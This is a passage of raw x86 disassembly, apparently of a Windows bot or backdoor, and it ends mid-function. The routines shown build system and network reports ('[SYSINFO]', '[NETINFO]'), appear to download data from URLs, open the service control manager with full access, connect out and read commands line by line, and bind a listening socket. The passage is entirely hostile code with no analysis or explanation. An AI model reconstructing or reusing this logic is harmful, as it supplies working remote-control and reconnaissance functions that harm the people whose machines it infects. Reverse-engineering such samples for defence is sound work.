jnz short loc_40AA8B
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40AAA2
; ---------------------------------------------------------------------------
loc_40AA8B: ; CODE XREF: sub_40A9D8+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40AAA2
loc_40AA9B: ; CODE XREF: sub_40A9D8+7Cj
; sub_40A9D8+8Ej
mov [ebp+var_4], offset dword_42B870
loc_40AAA2: ; CODE XREF: sub_40A9D8+73j
; sub_40A9D8+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40AADA
loc_40AAAB: ; CODE XREF: sub_40A9D8+61j
cmp [ebp+var_B8], bl
jz short loc_40AADA
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42B868
push eax
call sub_415316
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40AADA: ; CODE XREF: sub_40A9D8+54j
; sub_40A9D8+D1j ...
mov ax, word_42B864
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_43C440
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_40AB13
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_40AB13: ; CODE XREF: sub_40A9D8+12Cj
push [ebp+arg_4]
call sub_40A08A
pop ecx
push eax
call dword_43C594
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call dword_43C50C
cmp eax, ebx
jz short loc_40AB3C
push dword ptr [eax]
jmp short loc_40AB41
; ---------------------------------------------------------------------------
loc_40AB3C: ; CODE XREF: sub_40A9D8+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40AB41: ; CODE XREF: sub_40A9D8+162j
lea eax, [ebp+var_3E4]
push eax
call sub_415316
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_421084 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_421080 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_421110 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_4171E8
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_40C21C
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40A8CF
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40C10D
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40C10D
pop ecx
pop ecx
push eax
call sub_40A922
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_41588A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40A9D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC8C proc near ; CODE XREF: sub_40CD3A+4388p
; sub_40CD3A+5411p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_415390
add esp, 0Ch
cmp dword_43C638, 0
jnz short loc_40AD00
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_43C424
test eax, eax
jnz short loc_40ACE1
lea eax, [ebp+var_8C]
push offset dword_42B8E4
push eax
call sub_415316
pop ecx
pop ecx
loc_40ACE1: ; CODE XREF: sub_40AC8C+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_40ACF9
push offset dword_42B8DC
loc_40ACEF: ; CODE XREF: sub_40AC8C+72j
push eax
call sub_415316
pop ecx
pop ecx
jmp short loc_40AD1F
; ---------------------------------------------------------------------------
loc_40ACF9: ; CODE XREF: sub_40AC8C+5Cj
push offset dword_42B8D8
jmp short loc_40ACEF
; ---------------------------------------------------------------------------
loc_40AD00: ; CODE XREF: sub_40AC8C+28j
mov esi, offset off_42B8D4
lea eax, [ebp+var_8]
push esi
push eax
call sub_415316
lea eax, [ebp+var_8C]
push esi
push eax
call sub_415316
add esp, 10h
loc_40AD1F: ; CODE XREF: sub_40AC8C+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_41588A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40AC8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD52 proc near ; DATA XREF: sub_40CD3A+459Fo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42BA30
call sub_415390
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_415390
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_415390
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_415390
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_415390
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_43C45C
test eax, eax
jz loc_40AEF2
cmp [ebp+var_34], ebx
jbe short loc_40AE29
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_416BE0
add esp, 0Ch
loc_40AE29: ; CODE XREF: sub_40AD52+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40AE47
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_416BE0
add esp, 0Ch
loc_40AE47: ; CODE XREF: sub_40AD52+DEj
cmp [ebp+var_20], ebx
jbe short loc_40AE61
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_416BE0
add esp, 0Ch
loc_40AE61: ; CODE XREF: sub_40AD52+F8j
cmp [ebp+var_18], ebx
jbe short loc_40AE7B
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_416BE0
add esp, 0Ch
loc_40AE7B: ; CODE XREF: sub_40AD52+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_43C504
call dword_43C528
mov esi, eax
cmp esi, ebx
jz short loc_40AF08
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_43C51C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40AF0F
push ebx
push ebx
push ebx
push ebx
push eax
call dword_43C4D0
test eax, eax
lea eax, [ebp+var_55C]
jz short loc_40AEEB
push offset dword_42BA00
jmp short loc_40AF1A
; ---------------------------------------------------------------------------
loc_40AEEB: ; CODE XREF: sub_40AD52+190j
push offset unk_42B9B0
jmp short loc_40AF1A
; ---------------------------------------------------------------------------
loc_40AEF2: ; CODE XREF: sub_40AD52+B7j
lea eax, [ebp+var_55C]
push offset dword_42B97C
push eax
call sub_415316
mov esi, [ebp+var_C]
jmp short loc_40AF20
; ---------------------------------------------------------------------------
loc_40AF08: ; CODE XREF: sub_40AD52+153j
push offset unk_42B93C
jmp short loc_40AF14
; ---------------------------------------------------------------------------
loc_40AF0F: ; CODE XREF: sub_40AD52+17Bj
push offset unk_42B8F8
loc_40AF14: ; CODE XREF: sub_40AD52+1BBj
lea eax, [ebp+var_55C]
loc_40AF1A: ; CODE XREF: sub_40AD52+197j
; sub_40AD52+19Ej
push eax
call sub_415316
loc_40AF20: ; CODE XREF: sub_40AD52+1B4j
cmp [ebp+var_1D4], ebx
pop ecx
pop ecx
jnz short loc_40AF4D
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_412BD1
add esp, 14h
loc_40AF4D: ; CODE XREF: sub_40AD52+1D6j
lea eax, [ebp+var_55C]
push eax
call sub_40B078
pop ecx
push esi
call dword_43C588
push [ebp+var_4]
call dword_43C588
push [ebp+var_1D8]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_40AD52 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF80 proc near ; CODE XREF: sub_40CD3A+42C1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_440948
mov edi, 0B8h
loc_40AF94: ; CODE XREF: sub_40AF80+33j
cmp byte ptr [esi], 0
jz short loc_40AFB7
push [ebp+arg_0]
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40AFB7
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_4414C8
jl short loc_40AF94
jmp short loc_40AFF9
; ---------------------------------------------------------------------------
loc_40AFB7: ; CODE XREF: sub_40AF80+17j
; sub_40AF80+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_440948[esi]
push ebx
call sub_415390
push 17h
push [ebp+arg_0]
push ebx
call sub_416BE0
push 9Fh
lea eax, dword_440960[esi]
push [ebp+arg_4]
push eax
call sub_416BE0
add esp, 24h
inc dword_42E870
pop ebx
loc_40AFF9: ; CODE XREF: sub_40AF80+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40AF80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B000 proc near ; CODE XREF: sub_40CD3A+5551p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_42BA40
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
xor edi, edi
mov esi, offset dword_440948
loc_40B02A: ; CODE XREF: sub_40B000+72j
cmp byte ptr [esi], 0
jz short loc_40B065
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_42BA34
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41588A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 2Ch
loc_40B065: ; CODE XREF: sub_40B000+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_4414C8
jl short loc_40B02A
pop edi
pop esi
leave
retn
sub_40B000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B078 proc near ; CODE XREF: sub_401000+97p
; sub_4010B2+32Cp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_42105C ; GetLocalTime
mov ebx, offset dword_440910
mov edi, 80h
mov esi, offset dword_43C910
loc_40B09A: ; CODE XREF: sub_40B078+3Dj
cmp byte ptr [ebx], 0
jz short loc_40B0B1
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_416BE0
add esp, 0Ch
loc_40B0B1: ; CODE XREF: sub_40B078+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40B09A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41588A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40B078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0EC proc near ; CODE XREF: sub_407B36+148p
; sub_407CBD+15Cp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41732F
lea eax, [ebp+var_80]
push eax
call sub_40B078
add esp, 14h
leave
retn
sub_40B0EC endp
; =============== S U B R O U T I N E =======================================
sub_40B118 proc near ; CODE XREF: sub_40CD3A+5449p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_43C910
xor ecx, ecx
loc_40B11F: ; CODE XREF: sub_40B118+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_440910
jl short loc_40B11F
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42BA74
jnz short loc_40B14F
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_412BD1
add esp, 14h
loc_40B14F: ; CODE XREF: sub_40B118+1Fj
push esi
call sub_40B078
pop ecx
pop esi
retn
sub_40B118 endp
; =============== S U B R O U T I N E =======================================
sub_40B158 proc near ; CODE XREF: sub_4033B6+298p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_43C910
loc_40B15E: ; CODE XREF: sub_40B158+27j
cmp byte ptr [esi], 0
jz short loc_40B173
push [esp+4+arg_0]
push esi
call sub_409A63
pop ecx
test eax, eax
pop ecx
jnz short loc_40B185
loc_40B173: ; CODE XREF: sub_40B158+9j
add esi, 80h
cmp esi, offset dword_440910
jl short loc_40B15E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B185: ; CODE XREF: sub_40B158+19j
xor eax, eax
pop esi
inc eax
retn
sub_40B158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B18A proc near ; DATA XREF: sub_40CD3A+54FCo
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
xor edx, edx
rep movsd
xor edi, edi
mov [ebp+var_8], 80h
inc edi
cmp [ebp+var_10], edx
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40B1DD
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42BADC
push eax
push [ebp+var_11C]
call sub_412BD1
add esp, 14h
loc_40B1DD: ; CODE XREF: sub_40B18A+33j
cmp [ebp+var_98], 0
jz short loc_40B1FD
lea eax, [ebp+var_98]
push eax
call sub_41587F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40B1FD
mov [ebp+var_8], eax
loc_40B1FD: ; CODE XREF: sub_40B18A+5Aj
; sub_40B18A+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_43C910
loc_40B206: ; CODE XREF: sub_40B18A+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40B260
cmp byte ptr [esi], 0
jz short loc_40B24F
cmp [ebp+var_98], 0
jz short loc_40B235
cmp [ebp+var_4], 0
jnz short loc_40B235
lea eax, [ebp+var_98]
push eax
push esi
call sub_409A63
pop ecx
test eax, eax
pop ecx
jz short loc_40B24F
loc_40B235: ; CODE XREF: sub_40B18A+90j
; sub_40B18A+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_412BD1
add esp, 14h
loc_40B24F: ; CODE XREF: sub_40B18A+87j
; sub_40B18A+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_440910
jl short loc_40B206
loc_40B260: ; CODE XREF: sub_40B18A+82j
lea eax, [ebp+var_31C]
push offset dword_42BAAC
push eax
call sub_415316
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40B29A
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_412BD1
add esp, 14h
loc_40B29A: ; CODE XREF: sub_40B18A+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40B078
push [ebp+var_18]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_40B18A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2B9 proc near ; CODE XREF: sub_409D34+1Ep
; sub_40C574+341p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset dword_42C2D8
loc_40B2C9: ; CODE XREF: sub_40B2B9+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_42BB04[esi]
push dword_42BB00[esi]
call dword_43C508
cmp [ebp+arg_0], edi
jz short loc_40B30A
push [ebp+arg_0]
call sub_415B10
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_43C578
jmp short loc_40B314
; ---------------------------------------------------------------------------
loc_40B30A: ; CODE XREF: sub_40B2B9+33j
push ebx
push [ebp+var_4]
call dword_43C4C0
loc_40B314: ; CODE XREF: sub_40B2B9+4Fj
push [ebp+var_4]
call dword_43C530
add esi, 8
cmp esi, 18h
jb short loc_40B2C9
pop edi
pop esi
pop ebx
leave
retn
sub_40B2B9 endp
; =============== S U B R O U T I N E =======================================
sub_40B32A proc near ; CODE XREF: sub_40B363+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_40B35C
mov ecx, 0FFh
push ebx
loc_40B341: ; CODE XREF: sub_40B32A+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_421260[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40B341
pop ebx
loc_40B35C: ; CODE XREF: sub_40B32A+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_40B32A endp
; =============== S U B R O U T I N E =======================================
sub_40B363 proc near ; CODE XREF: sub_40BBF7+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_415BE9
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_415A08
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_40B3AE
loc_40B388: ; CODE XREF: sub_40B363+37j
xor eax, eax
jmp short loc_40B3CF
; ---------------------------------------------------------------------------
loc_40B38C: ; CODE XREF: sub_40B363+4Fj
inc ebx
push ebx
push esi
call sub_41737F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40B388
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_416A57
add esp, 10h
loc_40B3AE: ; CODE XREF: sub_40B363+23j
test byte ptr [edi+0Ch], 10h
jz short loc_40B38C
dec ebx
push ebx
push esi
call sub_40B32A
push esi
mov ebx, eax
call sub_415C9B
push edi
call sub_415960
add esp, 10h
mov eax, ebx
loc_40B3CF: ; CODE XREF: sub_40B363+27j
pop edi
pop esi
pop ebx
retn
sub_40B363 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3D3 proc near ; CODE XREF: sub_40B459+33p
; sub_40B9BC+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_43C5D4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40B44F
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_43C554
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_43C594
cmp eax, esi
jnz short loc_40B434
push [ebp+arg_0]
call dword_43C5D8
test eax, eax
jz short loc_40B44F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40B434: ; CODE XREF: sub_40B3D3+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_43C4FC
cmp eax, esi
jnz short loc_40B453
push edi
call dword_43C5EC
loc_40B44F: ; CODE XREF: sub_40B3D3+1Bj
; sub_40B3D3+58j
mov eax, esi
jmp short loc_40B455
; ---------------------------------------------------------------------------
loc_40B453: ; CODE XREF: sub_40B3D3+73j
mov eax, edi
loc_40B455: ; CODE XREF: sub_40B3D3+7Ej
pop edi
pop esi
leave
retn
sub_40B3D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B459 proc near ; DATA XREF: sub_40CD3A+A26o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push [ebp+var_14]
xor esi, esi
inc esi
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40B3D3
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40B4EC
lea eax, [ebp+var_11B4]
push offset dword_42BBA4
push eax
call sub_415316
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40B4CF
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412BD1
add esp, 14h
loc_40B4CF: ; CODE XREF: sub_40B459+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40B078
push [ebp+var_10]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40B4EC: ; CODE XREF: sub_40B459+3Fj
push offset byte_43B188
push ebx
call sub_40A71A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40B557
lea eax, [ebp+var_11B4]
push offset dword_42BB60
push eax
call sub_415316
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40B533
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412BD1
add esp, 14h
loc_40B533: ; CODE XREF: sub_40B459+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40B078
pop ecx
push ebx
call dword_43C5EC
push [ebp+var_10]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40B557: ; CODE XREF: sub_40B459+A3j
push 64h
call dword_421060 ; Sleep
xor edi, edi
mov esi, 1000h
loc_40B566: ; CODE XREF: sub_40B459+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_43C56C
test eax, eax
jle short loc_40B5C3
lea eax, [ebp+var_11B4]
push offset asc_426CF0 ; "\n"
push eax
call sub_415A30
lea eax, [ebp+var_11B4]
push eax
call sub_40A506
add esp, 0Ch
test eax, eax
jz short loc_40B5C3
push 64h
call dword_421060 ; Sleep
push 7
call sub_41501C
test eax, eax
pop ecx
jnz short loc_40B566
loc_40B5C3: ; CODE XREF: sub_40B459+130j
; sub_40B459+154j
lea eax, [ebp+var_11B4]
push offset dword_42BB18
push eax
call sub_415316
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40B5F6
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412BD1
add esp, 14h
loc_40B5F6: ; CODE XREF: sub_40B459+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40B078
pop ecx
push ebx
call dword_43C5EC
push [ebp+var_10]
call sub_4150F0
pop ecx
push edi
call dword_421048 ; ExitThread
sub_40B459 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B61A proc near ; DATA XREF: sub_40CD3A+46A9o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
xor ebx, ebx
xor esi, esi
inc ebx
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_10], esi
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_43C5D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40B668
push offset dword_42BD44
jmp loc_40B821
; ---------------------------------------------------------------------------
loc_40B668: ; CODE XREF: sub_40B61A+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_43C554
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_43C580
test eax, eax
jz short loc_40B6A6
push offset dword_42BD0C
jmp loc_40B821
; ---------------------------------------------------------------------------
loc_40B6A6: ; CODE XREF: sub_40B61A+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_43C4F8
push [ebp+var_2E]
